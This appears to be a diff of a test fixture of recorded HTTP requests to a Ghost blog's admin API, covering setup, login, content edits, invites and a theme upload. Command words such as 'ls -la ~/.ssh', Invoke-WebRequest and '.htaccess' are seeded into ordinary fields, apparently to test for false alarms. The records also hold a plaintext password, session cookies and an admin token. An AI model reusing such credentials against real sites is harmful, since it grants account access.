\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
@@ -760,3 +762,33 @@
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
# The requests below were sent to Ghost by a script with the admin's or a
# member's headers. They hold words that name commands and files in more fields.
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Notes on python3, powershell & .htaccess\",\"name\":\"Alice ls -la Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
{"method": "PUT", "target": "/ghost/api/admin/users/6af54436a509340001efcee2/?include=roles", "headers": ["Host: example.com", "Content-Length: 1256", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"users\":[{\"id\":\"6af54436a509340001efcee2\",\"name\":\"Alice python3 & powershell\",\"slug\":\"alice-python3-powershell\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":\"I write about ls -la, python3, powershell and .htaccess files.\",\"website\":\"https://example.com/python3/powershell\",\"location\":\"Berlin & the python3 meetup\",\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\"}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-12T04:44:42.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:42.000Z\",\"roles\":[{\"id\":\"6af54436a509340001efcee7\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:38.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 130", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"erin.htaccess@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"python3.dev@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 132", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"dave.powershell@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=erin.htaccess%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
